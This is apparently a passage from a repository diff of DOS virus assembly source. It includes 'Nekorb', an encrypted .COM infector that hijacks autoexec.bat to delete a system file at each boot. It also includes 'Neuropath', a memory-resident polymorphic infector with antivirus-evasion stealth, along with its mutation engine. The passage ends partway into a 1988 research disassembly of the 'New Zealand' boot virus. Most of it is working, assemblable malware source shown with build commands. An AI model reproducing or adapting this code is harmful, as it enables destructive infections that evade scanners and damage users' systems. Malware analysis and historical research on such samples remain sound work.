; v1.2 - add XOR,NEG,NOT,ROR encryption and directory changing ;
|
||||
; v1.3 - infects files with any attributes (readonly/hidden/sys) ;
|
||||
; v1.4 - saves / restores file attributes now ;
|
||||
; v1.5 - the craziest payload I have ever done... how to explain this...! ;
|
||||
; - 1: infects all the .coms it can, and then jumps to c:\ ;
|
||||
; - 2: finds the autoexec.bat file, if there is none, one is created ;
|
||||
; - 3: infects either the old, or the new, autoexec.bat file replacing ;
|
||||
; - the first line of it, so it executes a .com everytime the ;
|
||||
; - computer is started up! read only and hides the autoexec.bat ;
|
||||
; - 4: creates the new .com that the autoexec.bat runs on startup ;
|
||||
; - 5: that new .com jumps to the \windows\system directory, and ;
|
||||
; - deletes one file, prints a message, and waits for the infected ;
|
||||
; - user to press any key (just to make sure they see us) ;
|
||||
; - the new .com is made read only / hidden as well ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ----------------------> For Christine Moore <---------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; to compile ::] tasm nekorb.asm ;
|
||||
; to link :::::] tlink /t nekorb.obj ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
code segment ; name our segment 'code'
|
||||
assume cs:code,ds:code ; assign CS and DS to code
|
||||
org 100h ; this be a .com file
|
||||
|
||||
blank: db 0e9h,0,0 ; define the blank jump
|
||||
start: call delta ; push IP on to stack
|
||||
delta: pop bp ; pop into BP
|
||||
sub bp,offset delta ; get the delta offset
|
||||
|
||||
encst: jmp not1st ; jump to not1st (overwritten)
|
||||
lea si,[bp+encd] ; points to encrypted area start
|
||||
mov di,si ; move the value into DI
|
||||
call encr ; call the de/encryption routine
|
||||
jmp encd ; jump to start of encrypted stuff
|
||||
|
||||
encr: lodsb ; load a byte
|
||||
not al ; encryptin 1
|
||||
ror al,4 ; encryptin 2
|
||||
neg al ; encryptin 3
|
||||
xor al,byte ptr [bp+key] ; encryptin 4 -final-
|
||||
neg al ; unencrypt 3
|
||||
ror al,4 ; unencrypt 2
|
||||
not al ; unencrypt 1
|
||||
stosb ; stores the byte
|
||||
loop encr ; does all the bytes
|
||||
ret ; returns from call
|
||||
|
||||
key db 0 ; our key
|
||||
|
||||
encd: lea si,[bp+buffer] ; three bytes to restore
|
||||
mov di,100h ; load di with 100h
|
||||
push di ; save this for the 'retn'
|
||||
movsw ; move two bytes
|
||||
movsb ; move one byte
|
||||
|
||||
lea dx,[bp+offset dta] ; new DTA address
|
||||
mov ah,1ah ; move the dta
|
||||
int 21h ; DTA is moved
|
||||
|
||||
first: mov ah,4eh ; find the first file
|
||||
lea dx,[bp+comfile] ; looking for *.c*
|
||||
mov cx,7 ; with these attributes
|
||||
|
||||
next: int 21h ; find the first .com
|
||||
jnc infect ; found one? infect it
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+updir] ; load the .. string
|
||||
int 21h ; now up a directory
|
||||
jnc first ; jump to first
|
||||
jmp pload ; hit root? do our payload
|
||||
|
||||
infect: lea dx,[bp+offset dta+1eh] ; get the file info
|
||||
mov ax,4300h ; get file attributes
|
||||
int 21h ; we have them now
|
||||
push cx ; save value #1
|
||||
push dx ; save value #2
|
||||
push ds ; save value #3
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
xor cx,cx ; to none at all
|
||||
int 21h ; ready for infection
|
||||
|
||||
call open ; open the file
|
||||
|
||||
mov ax,5700h ; get time / date stamps
|
||||
int 21h ; get them now
|
||||
push dx ; save value #4
|
||||
push cx ; save value #5
|
||||
|
||||
mov ah,3fh ; read record function
|
||||
lea dx,[bp+buffer] ; to the buffer
|
||||
mov cx,3 ; three bytes
|
||||
int 21h ; read those bytes
|
||||
|
||||
mov ax,word ptr [bp+dta+1ah] ; move the file size into AX
|
||||
mov cx,word ptr [bp+buffer+1] ; move the buffer + 1 into cx
|
||||
add cx,finish-start+3 ; add virus size + jump
|
||||
cmp ax,cx ; compare the two
|
||||
jz shutup ; if equal close the file
|
||||
cmp ax,1000 ; compare file size with 1kb
|
||||
jb shutup ; file is too small, close it up
|
||||
cmp ax,62000 ; compare file size with 62kb
|
||||
ja shutup ; file is too big, close it up
|
||||
|
||||
sub ax,3 ; get jump to virus body size
|
||||
mov word ptr [bp+newjump+1],ax ; write this as our jump
|
||||
|
||||
mov al,00h ; start of file
|
||||
call scan ; scan to start of file
|
||||
|
||||
mov ah,40h ; write to file
|
||||
lea dx,[bp+newjump] ; write this
|
||||
mov cx,3 ; # of bytes to write
|
||||
int 21h ; write it now
|
||||
|
||||
mov al,02h ; end of file
|
||||
call scan ; scan to end of file
|
||||
|
||||
in al,40h ; get a random value
|
||||
mov byte ptr [bp+key],al ; save it as our key
|
||||
|
||||
mov ah,40h ; write to file
|
||||
lea dx,[bp+start] ; where to start writting
|
||||
mov cx,encd-start ; # of bytes to write
|
||||
int 21h ; write the non-encrypted stuff
|
||||
|
||||
lea di,[bp+finish] ; load DI with end address
|
||||
push di ; save value #6
|
||||
lea si,[bp+encd] ; load SI with start address
|
||||
mov cx,finish-encd ; # of bytes between the two
|
||||
push cx ; save value #7
|
||||
call encr ; call the encryption routine
|
||||
|
||||
mov ah,40h ; write to file
|
||||
pop cx ; saved value #7
|
||||
pop dx ; saved value #6
|
||||
int 21h ; write those bytes
|
||||
|
||||
shutup: mov ax,5701h ; set time / date
|
||||
pop cx ; from saved value #5
|
||||
pop dx ; from saved value #4
|
||||
int 21h ; time / date restored
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
pop ds ; from saved value #3
|
||||
pop dx ; from saved value #2
|
||||
pop cx ; from saved value #1
|
||||
int 21h ; set them now
|
||||
|
||||
call close ; close the file
|
||||
mov ah,4fh ; find next file
|
||||
jmp next ; jump to next
|
||||
|
||||
exit: mov dx,80h ; old address of DTA
|
||||
mov ah,1ah ; restore to original location
|
||||
int 21h ; DTA is back to original location
|
||||
retn ; return control to host
|
||||
|
||||
; ---------------------------( The Payload )------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
pload: mov ah,0eh ; change drive
|
||||
mov dl,2 ; to drive c:\
|
||||
int 21h ; now in c:\
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+rootdir] ; to the root directory
|
||||
int 21h ; change now
|
||||
|
||||
find: mov ah,4eh ; find first file
|
||||
lea dx,[bp+autoexe] ; named 'autoexec.bat'
|
||||
mov cx,7 ; possible attributes
|
||||
int 21h ; find it now
|
||||
jnc infkt ; found it? infect it now
|
||||
|
||||
mov ah,3ch ; make a file
|
||||
lea dx,[bp+autoexe] ; named 'autoexec.bat'
|
||||
xor cx,cx ; normal attributes
|
||||
int 21h ; make it now
|
||||
jmp find ; and try again
|
||||
|
||||
infkt: lea dx,[bp+offset dta+1eh] ; get the file info
|
||||
push dx ; save value #8
|
||||
mov ax,4301h ; set file attributes
|
||||
xor cx,cx ; to none at all
|
||||
int 21h ; set them now
|
||||
call open ; open the file
|
||||
|
||||
mov ah,40h ; write to file
|
||||
lea dx,[bp+newline] ; write the new line
|
||||
mov cx,13 ; this many bytes
|
||||
int 21h ; write to file
|
||||
|
||||
pop dx ; from saved value #8
|
||||
mov ax,4301h ; set file attributes
|
||||
mov cx,3 ; read only / hidden
|
||||
int 21h ; set them now
|
||||
|
||||
call close ; close the autoexec.bat
|
||||
|
||||
mov ah,3ch ; create a file
|
||||
lea dx,[bp+pldfile] ; with this name
|
||||
push dx ; save value #9
|
||||
xor cx,cx ; with no attributes
|
||||
int 21h ; create it now
|
||||
|
||||
mov ah,4eh ; find the first file
|
||||
pop dx ; from saved value #9
|
||||
mov cx,7 ; with these possible attributes
|
||||
int 21h ; find it now
|
||||
|
||||
lea dx,[bp+offset dta+1eh] ; get the file name info
|
||||
push dx ; save value #10
|
||||
call open ; open the file
|
||||
|
||||
mov ah,40h ; write to file
|
||||
lea dx,[bp+pstrt] ; write from here
|
||||
mov cx,pend-pstrt ; this # of bytes
|
||||
int 21h ; write them now
|
||||
|
||||
pop dx ; from saved value #10
|
||||
mov ax,4301h ; set file attributes
|
||||
mov cx,3 ; read only / hidden
|
||||
int 21h ; set them now
|
||||
|
||||
call close ; close winsys.com
|
||||
jmp exit ; end the virus
|
||||
|
||||
; ---------------------( Remotely Called Procedures )---------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
close: mov ah,3eh ; close file
|
||||
int 21h ; close it now
|
||||
ret
|
||||
|
||||
open: mov ax,3d02h ; open the file
|
||||
int 21h ; file is opened
|
||||
xchg bx,ax ; move the info
|
||||
ret ; return from call
|
||||
|
||||
scan: mov ah,42h ; scan function
|
||||
xor cx,cx ; cx must be 0
|
||||
cwd ; likewize for DX
|
||||
int 21h ; scan through file
|
||||
ret ; return from call
|
||||
|
||||
; -----------------------( The Payload Data Area )------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
pstrt: db 0e9h,0,0 ; need all this again
|
||||
call paydel ; push IP on to stack
|
||||
paydel: pop bp ; pop it into bp
|
||||
sub bp,offset paydel ; get 2nd delta offset
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+winsys] ; \windows\system
|
||||
int 21h ; go there now
|
||||
|
||||
mov ah,4eh ; find first file
|
||||
lea dx,[bp+anyfile] ; with any name *.*
|
||||
mov cx,7 ; with these possible attributes
|
||||
int 21h ; find one now
|
||||
|
||||
mov ah,41h ; delete a file
|
||||
mov dx,9eh ; with this name
|
||||
int 21h ; delete it
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+root] ; back to the root dir
|
||||
int 21h ; go there now
|
||||
|
||||
mov ah,09h ; print a message
|
||||
lea dx,[bp+paymsg] ; this message
|
||||
int 21h ; print it to the screen
|
||||
mov ah,00h ; wait for keypress
|
||||
int 16h ; let them seeeeee hehehe
|
||||
int 20h ; end this program
|
||||
anyfile db '*.*',0 ; find *.*
|
||||
winsys db "\windows\system",0 ; define directory to change to
|
||||
root db "\",0 ; change to the root dir
|
||||
paymsg db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db '',10,13 ; so they don't see winsys.com exec
|
||||
db 'Infected by Nekorb coded by KilJaeden of the Codebreakers on 10/06/98 - 11/06/98',10,13
|
||||
db '::Each time you start your computer, an innocent file is sacrificed to my god.::',10,13,'$'
|
||||
pend:
|
||||
|
||||
; --------------------------( The Data Area )------------------------------ ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
newline db '.\winsys.com',10,13,'$'
|
||||
updir db "..",0 ; define the .. string
|
||||
comfile db "*.com",0 ; define the *.c* string
|
||||
autoexe db 'autoexec.bat',0 ; name of file to find
|
||||
buffer db 0cdh,20h,0 ; terminates 1st gen
|
||||
rootdir db "\",0 ; change to the root dir
|
||||
pldfile db 'winsys.com',0 ; the name for our new .com
|
||||
newjump db 0e9h,0,0 ; overwriten 1st gen
|
||||
dta db 43 dup (?) ; space for the new DTA
|
||||
finish label near ; an offset label
|
||||
|
||||
; ---------------------( Not Saved / Not Encrypted )----------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
not1st: lea di,[bp+encst] ; where to move the bytes
|
||||
lea si,[bp+new] ; move these bytes
|
||||
movsw ; move two bytes
|
||||
movsb ; move one more
|
||||
jmp encd ; jump to encrypted area
|
||||
|
||||
new: mov cx,finish-encd ; this will overwrite the jump
|
||||
|
||||
; -----------------------------( The End )--------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
code ends ; end code segment
|
||||
end blank ; end / where to start
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
|
@ -0,0 +1,286 @@
|
|||
; ========================================================================>
|
||||
; [Neuropath] by MnemoniX 1994
|
||||
;
|
||||
; * Memory resident .COM infector
|
||||
; * Polymorphic (engine in neuroeng.asm - lame but effective)
|
||||
; * Anti-SCAN and CLEAN stealth technique - creates hidden file in
|
||||
; root directory; when SCAN or CLEAN is run all attempts to open .COM
|
||||
; files are redirected to hidden file, and they all come out clean.
|
||||
; ========================================================================>
|
||||
|
||||
code segment
|
||||
org 0
|
||||
assume cs:code
|
||||
|
||||
start:
|
||||
db 0E9h,0,0
|
||||
|
||||
virus_begin:
|
||||
call $ + 3
|
||||
pop bp
|
||||
sub bp,offset $ - 1
|
||||
|
||||
mov ah,3Ch
|
||||
mov cx,2
|
||||
lea dx,[bp + dummy_file] ; create dummy file
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh
|
||||
int 21h
|
||||
|
||||
install:
|
||||
mov ax,5786h
|
||||
int 21h
|
||||
|
||||
push ds es
|
||||
|
||||
mov ax,ds
|
||||
dec ax
|
||||
mov ds,ax
|
||||
|
||||
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
|
||||
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
|
||||
mov es,word ptr ds:[12h]
|
||||
|
||||
push cs ; copy virus into memory
|
||||
pop ds
|
||||
xor di,di
|
||||
mov si,bp
|
||||
mov cx,(virus_end - start) / 2 + 1
|
||||
rep movsw
|
||||
|
||||
xor ax,ax ; capture interrupt 21
|
||||
mov ds,ax
|
||||
|
||||
mov si,21h * 4
|
||||
mov di,offset old_int_21
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov word ptr [si - 4],offset new_int_21
|
||||
mov [si - 2],es
|
||||
|
||||
pop es ds
|
||||
jmp install
|
||||
|
||||
int_21:
|
||||
pushf
|
||||
call dword ptr cs:[old_int_21]
|
||||
ret
|
||||
|
||||
new_int_21:
|
||||
cmp ax,5786h
|
||||
je restore_host
|
||||
|
||||
cmp ah,4Ch
|
||||
je terminate
|
||||
|
||||
cmp ah,3Dh
|
||||
je file_open
|
||||
|
||||
not ax
|
||||
cmp ax,0B4FFh
|
||||
je execute
|
||||
int_21_4B_exit:
|
||||
not ax
|
||||
|
||||
int_21_exit:
|
||||
db 0EAh
|
||||
old_int_21 dd 0
|
||||
|
||||
restore_host:
|
||||
pop ax
|
||||
pop ax
|
||||
|
||||
push ds
|
||||
mov di,0FEFFh
|
||||
not di
|
||||
|
||||
lea si,[bp + host]
|
||||
push di
|
||||
movsw
|
||||
movsb
|
||||
|
||||
iret
|
||||
|
||||
terminate:
|
||||
mov cs:McAffee_alert,0
|
||||
jmp int_21_exit
|
||||
|
||||
file_open:
|
||||
cmp cs:McAffee_alert,1
|
||||
jne int_21_exit
|
||||
|
||||
push ax si
|
||||
mov si,dx
|
||||
|
||||
find_ext:
|
||||
lodsb
|
||||
cmp al,'.'
|
||||
je ext_found
|
||||
test al,al
|
||||
je not_com
|
||||
jmp find_ext
|
||||
|
||||
ext_found:
|
||||
cmp ds:[si],'OC' ; .COM?
|
||||
jne not_com
|
||||
cmp byte ptr ds:[si + 2],'M'
|
||||
jne not_com
|
||||
|
||||
pop si ax
|
||||
push ds dx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset dummy_file
|
||||
call int_21
|
||||
|
||||
pop dx ds
|
||||
retf 2
|
||||
not_com:
|
||||
pop si ax
|
||||
jmp int_21_exit
|
||||
|
||||
execute:
|
||||
push ax si
|
||||
mov si,dx
|
||||
|
||||
find_ext_2:
|
||||
lodsb
|
||||
cmp al,'.'
|
||||
je ext_found_2
|
||||
test al,al
|
||||
je no_scan
|
||||
jmp find_ext_2
|
||||
ext_found_2:
|
||||
cmp ds:[si],'XE' ; check for SCAN.EXE
|
||||
jne no_scan
|
||||
cmp ds:[si - 3],'NA'
|
||||
jne no_scan
|
||||
cmp ds:[si - 5],'CS'
|
||||
jne perhaps_clean
|
||||
mcaffee_on:
|
||||
pop si ax
|
||||
mov cs:McAffee_alert,1 ; McAffee alert!
|
||||
jmp int_21_4B_exit
|
||||
|
||||
perhaps_clean:
|
||||
cmp ds:[si - 5],'EL' ; check for CLEAN.EXE
|
||||
jne no_scan
|
||||
cmp byte ptr ds:[si - 6],'C'
|
||||
je mcaffee_on
|
||||
no_scan:
|
||||
pop si ax
|
||||
push ax bx cx dx si di bp ds es
|
||||
|
||||
mov ax,3D00h
|
||||
call int_21
|
||||
jnc check_out
|
||||
jmp cant_open
|
||||
check_out:
|
||||
xchg ax,bx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
push bx
|
||||
mov ax,ds:sft_1
|
||||
int 2Fh
|
||||
|
||||
mov ax,ds:sft_2
|
||||
mov bl,es:[di]
|
||||
int 2Fh
|
||||
pop bx
|
||||
|
||||
mov word ptr es:[di + 2],2
|
||||
|
||||
mov ax,es:[di + 0Dh]
|
||||
and al,31
|
||||
cmp al,24 ; marker is 24
|
||||
je dont_infect
|
||||
|
||||
mov ah,ds:file_read ; anti-TBSCAN
|
||||
mov dx,offset host
|
||||
mov cx,3
|
||||
call int_21
|
||||
|
||||
mov ax,word ptr ds:host
|
||||
sub ax,'ZM'
|
||||
je dont_infect
|
||||
|
||||
mov ax,es:[di + 11h] ; file size
|
||||
cmp ax,65278 - VIRUS_SIZE
|
||||
jae dont_infect
|
||||
|
||||
mov es:[di + 15h],ax
|
||||
sub ax,3
|
||||
mov word ptr ds:new_jump + 1,ax
|
||||
|
||||
push es di bx
|
||||
add ax,103h
|
||||
xchg dx,ax
|
||||
mov cx,VIRUS_SIZE
|
||||
mov si,offset virus_begin
|
||||
mov di,offset encrypt_buffer
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call engine
|
||||
pop bx di es
|
||||
|
||||
mov dx,offset encrypt_buffer
|
||||
call write_it
|
||||
|
||||
mov word ptr es:[di + 15h],0
|
||||
mov cx,3
|
||||
mov dx,offset new_jump
|
||||
call write_it
|
||||
|
||||
dont_infect:
|
||||
mov ax,ds:set_date ; anti-TBSCAN
|
||||
mov cx,es:[di + 0Dh]
|
||||
mov dx,es:[di + 0Fh]
|
||||
and cl,-32
|
||||
or cl,24
|
||||
call int_21
|
||||
|
||||
mov ah,3Eh
|
||||
call int_21
|
||||
cant_open:
|
||||
pop es ds bp di si dx cx bx ax
|
||||
jmp int_21_4B_exit
|
||||
|
||||
write_it:
|
||||
mov ah,ds:file_write ; anti-TBSCAN
|
||||
call int_21
|
||||
ret
|
||||
|
||||
db '[Neuropath] MnemoniX',0
|
||||
|
||||
dummy_file db '\',-1,-1,0 ; 2 ASCII 255s
|
||||
|
||||
include neuroeng.asm
|
||||
|
||||
McAffee_alert db 0
|
||||
host db 0CDh,20h,0
|
||||
new_jump db 0E9h,0,0
|
||||
|
||||
set_date dw 5701h
|
||||
file_read db 3Fh
|
||||
file_write db 40h
|
||||
sft_1 dw 1220h
|
||||
sft_2 dw 1216h
|
||||
|
||||
virus_end:
|
||||
VIRUS_SIZE equ virus_end - virus_begin
|
||||
|
||||
encrypt_buffer db VIRUS_SIZE + 1000 dup (?)
|
||||
|
||||
heap_end:
|
||||
|
||||
MEM_SIZE equ heap_end - start
|
||||
|
||||
code ends
|
||||
end start
|
|
@ -0,0 +1,284 @@
|
|||
; Neurotic Mutation Engine v1.00 for Neuropath
|
||||
; by MnemoniX 1994
|
||||
|
||||
engine proc near
|
||||
call randomize
|
||||
|
||||
get_reg_1:
|
||||
mov ax,7 ; counter register
|
||||
call _random
|
||||
inc ax
|
||||
cmp al,4
|
||||
je get_reg_1
|
||||
cmp al,5
|
||||
ja get_reg_1
|
||||
mov ds:reg_1,al
|
||||
|
||||
push di ; save this
|
||||
|
||||
push ax
|
||||
call garbage_dump ; crap
|
||||
pop ax
|
||||
|
||||
add al,0B8h ; store MOV instruction
|
||||
stosb
|
||||
mov ax,cx
|
||||
stosw
|
||||
|
||||
call garbage_dump ; more crap
|
||||
|
||||
mov al,0BFh
|
||||
stosb
|
||||
push di ; use this later
|
||||
stosw
|
||||
|
||||
call garbage_dump ; even more crap
|
||||
|
||||
mov ax,0F78Bh
|
||||
stosw
|
||||
|
||||
push di ; use this later too
|
||||
call garbage_dump ; more crap
|
||||
|
||||
mov al,0ADh ; a LODSW
|
||||
stosb
|
||||
|
||||
call garbage_dump ; yet more crap
|
||||
|
||||
mov al,2
|
||||
call _random
|
||||
test al,al
|
||||
je add_it
|
||||
|
||||
mov al,35h
|
||||
mov bl,al
|
||||
je decryptor
|
||||
add_it:
|
||||
mov al,5
|
||||
mov bl,2Dh
|
||||
decryptor:
|
||||
stosb
|
||||
mov ds:encrypt_act,bl ; for encryption
|
||||
|
||||
mov ax,-1
|
||||
call _random
|
||||
stosw
|
||||
mov ds:encrypt_key,ax ; for encryption
|
||||
|
||||
call garbage_dump ; just pilin' on the crap
|
||||
|
||||
mov al,0ABh ; a STOSW
|
||||
stosb
|
||||
|
||||
call garbage_dump ; the crap continues ...
|
||||
|
||||
mov al,ds:reg_1 ; decrement counter
|
||||
add al,48h
|
||||
mov ah,9Ch ; and a PUSHF
|
||||
stosw
|
||||
|
||||
call garbage_dump ; C-R-A-P ...
|
||||
|
||||
mov ax,749Dh ; a POPF and JZ
|
||||
stosw
|
||||
mov ax,4
|
||||
call _random ; use later
|
||||
mov bx,ax
|
||||
add al,3
|
||||
stosb
|
||||
|
||||
mov al,0E9h ; a JMP
|
||||
stosb
|
||||
pop ax ; use LODSW offset
|
||||
sub ax,di
|
||||
dec ax
|
||||
dec ax
|
||||
stosw
|
||||
|
||||
add di,bx ; fix up DI
|
||||
|
||||
pop bx ; now fix up offset value
|
||||
pop bp
|
||||
sub bp,di
|
||||
neg bp
|
||||
push bp ; size of decryptor - for l8r
|
||||
add bp,dx
|
||||
mov es:[bx],bp
|
||||
|
||||
push cx
|
||||
|
||||
push si
|
||||
mov si,offset one_byters ; swap one-byte instructions
|
||||
mov ax,7 ; around for variety
|
||||
call _random
|
||||
mov bx,ax
|
||||
mov al,7
|
||||
call _random
|
||||
mov ah,[bx+si]
|
||||
mov bl,al
|
||||
mov [bx+si],ah
|
||||
pop si
|
||||
|
||||
; now we encrypt
|
||||
encrypt_it:
|
||||
lodsw
|
||||
encrypt_act db 0
|
||||
encrypt_key dw 0
|
||||
stosw
|
||||
loop encrypt_it
|
||||
|
||||
pop cx
|
||||
pop dx
|
||||
add cx,dx
|
||||
ret
|
||||
|
||||
reg_1 db 0
|
||||
|
||||
rnd_seed_1 dw 0
|
||||
rnd_seed_2 dw 0
|
||||
|
||||
|
||||
garbage_dump:
|
||||
mov ax,7 ; garbage instructions
|
||||
call _random
|
||||
add ax,5
|
||||
push cx
|
||||
mov cx,ax
|
||||
dump_it:
|
||||
; El Basurero - "The GarbageMan"
|
||||
mov ax,8
|
||||
call _random
|
||||
cmp al,2
|
||||
jb next_one
|
||||
je garbage_1 ; a MOV ??,AX
|
||||
cmp al,3
|
||||
je garbage_2 ; operate ??,AX
|
||||
cmp al,4
|
||||
je garbage_3 ; CMP or TEST AX/AL,??
|
||||
cmp al,5 ; a few little instructions
|
||||
jae garbage_4
|
||||
next_one:
|
||||
loop dump_it
|
||||
pop cx
|
||||
ret
|
||||
|
||||
garbage_1:
|
||||
mov al,8Bh
|
||||
stosb
|
||||
call get_mov_reg
|
||||
shl ax,1
|
||||
shl ax,1
|
||||
shl ax,1
|
||||
add al,0C0h
|
||||
stosb
|
||||
jmp next_one
|
||||
|
||||
garbage_2:
|
||||
mov al,8
|
||||
call _random
|
||||
shl ax,1
|
||||
shl ax,1
|
||||
shl ax,1
|
||||
add al,3
|
||||
stosb
|
||||
call get_mov_reg
|
||||
shl ax,1
|
||||
shl ax,1
|
||||
shl ax,1
|
||||
add al,0C0h
|
||||
stosb
|
||||
jmp next_one
|
||||
|
||||
garbage_3:
|
||||
mov al,2
|
||||
call _random
|
||||
test al,al
|
||||
je a_cmp
|
||||
mov al,0A9h
|
||||
jmp storage
|
||||
a_cmp:
|
||||
mov al,3Dh
|
||||
storage:
|
||||
stosb
|
||||
mov ax,-1
|
||||
call _random
|
||||
stosw
|
||||
jmp next_one
|
||||
|
||||
garbage_4:
|
||||
push cx
|
||||
mov ax,4
|
||||
call _random
|
||||
add ax,3
|
||||
mov cx,ax
|
||||
push si
|
||||
mov bx,offset one_byters
|
||||
filler_loop:
|
||||
mov ax,8
|
||||
call _random
|
||||
cmp al,7
|
||||
je make_inc_dec
|
||||
mov si,ax
|
||||
mov al,[bx+si]
|
||||
proceed:
|
||||
stosb
|
||||
loop filler_loop
|
||||
|
||||
pop si cx
|
||||
jmp next_one
|
||||
|
||||
make_inc_dec:
|
||||
call get_mov_reg
|
||||
add al,40h
|
||||
jmp proceed
|
||||
|
||||
get_mov_reg:
|
||||
mov ax,8
|
||||
call _random
|
||||
test al,al
|
||||
je get_mov_reg
|
||||
cmp al,4
|
||||
je get_mov_reg
|
||||
cmp al,5
|
||||
ja get_mov_reg
|
||||
cmp al,reg_1
|
||||
je get_mov_reg
|
||||
ret
|
||||
|
||||
one_byters:
|
||||
db 0CCh
|
||||
stc
|
||||
clc
|
||||
cmc
|
||||
sti
|
||||
nop
|
||||
cld
|
||||
|
||||
randomize:
|
||||
push cx dx
|
||||
xor ah,ah
|
||||
int 1Ah
|
||||
mov rnd_seed_1,dx
|
||||
add dx,cx
|
||||
mov rnd_seed_2,dx
|
||||
pop dx cx
|
||||
ret
|
||||
|
||||
_random:
|
||||
push cx dx ax
|
||||
add dx,rnd_seed_2
|
||||
add dx,17
|
||||
mov ax,dx
|
||||
xor dx,dx
|
||||
test ax,ax
|
||||
je rnd_done
|
||||
pop cx
|
||||
div cx
|
||||
mov ax,dx ; AX now holds our random #
|
||||
rnd_done:
|
||||
mov dx,rnd_seed_1
|
||||
add rnd_seed_2,dx
|
||||
pop dx cx
|
||||
ret
|
||||
|
||||
engine endp
|
File diff suppressed because it is too large
Load Diff
Binary file not shown.
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,288 @@
|
|||
page 65,132
|
||||
title The 'New Zealand' Virus
|
||||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
; º British Computer Virus Research Centre º
|
||||
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
|
||||
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
|
||||
; º º
|
||||
; º The 'New Zealand' Virus º
|
||||
; º Disassembled by Joe Hirst, November 1988 º
|
||||
; º º
|
||||
; º Copyright (c) Joe Hirst 1988, 1989. º
|
||||
; º º
|
||||
; º This listing is only to be made available to virus researchers º
|
||||
; º or software writers on a need-to-know basis. º
|
||||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
|
||||
; The virus consists of a boot sector only. The original boot sector
|
||||
; is kept at track zero, head one, sector three on a floppy disk, or
|
||||
; track zero, head zero, sector two on a hard disk.
|
||||
|
||||
; The disassembly has been tested by re-assembly using MASM 5.0.
|
||||
|
||||
; The program requires an origin address of 7C00H, as it is designed
|
||||
; to load and run as a boot sector.
|
||||
|
||||
RAM SEGMENT AT 0
|
||||
|
||||
; System data
|
||||
|
||||
ORG 4CH
|
||||
BW004C DW ? ; Interrupt 19 (13H) offset
|
||||
BW004E DW ? ; Interrupt 19 (13H) segment
|
||||
ORG 413H
|
||||
BW0413 DW ? ; Total RAM size
|
||||
ORG 440H
|
||||
BB0440 DB ? ; Motor timeout counter
|
||||
ORG 46CH
|
||||
BB046C DB ? ; System clock
|
||||
|
||||
ORG 7C0AH
|
||||
I13_OF DW ?
|
||||
I13_SG DW ?
|
||||
HICOOF DW ?
|
||||
HICOSG DW ? ; High core segment
|
||||
|
||||
RAM ENDS
|
||||
|
||||
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||||
ASSUME CS:CODE,DS:RAM
|
||||
|
||||
START: DB 0EAH ; Far jump to next byte
|
||||
DW BP0010, 07C0H
|
||||
|
||||
BP0010: JMP BP0110
|
||||
|
||||
DRIVEN DB 0 ; Drive number (A=0, B=1, C=2)
|
||||
DUMMY DB 0
|
||||
|
||||
; Original Int 13H address
|
||||
|
||||
INT_13 EQU THIS DWORD
|
||||
DW 0
|
||||
DW 0
|
||||
|
||||
; Branch address in high core
|
||||
|
||||
HIGHCO EQU THIS DWORD
|
||||
DW BP0120
|
||||
DW 0
|
||||
|
||||
; Boot sector processing address
|
||||
|
||||
BOOTST EQU THIS DWORD
|
||||
DW 07C00H
|
||||
DW 0
|
||||
|
||||
; Interrupt 13H disk I/O routine
|
||||
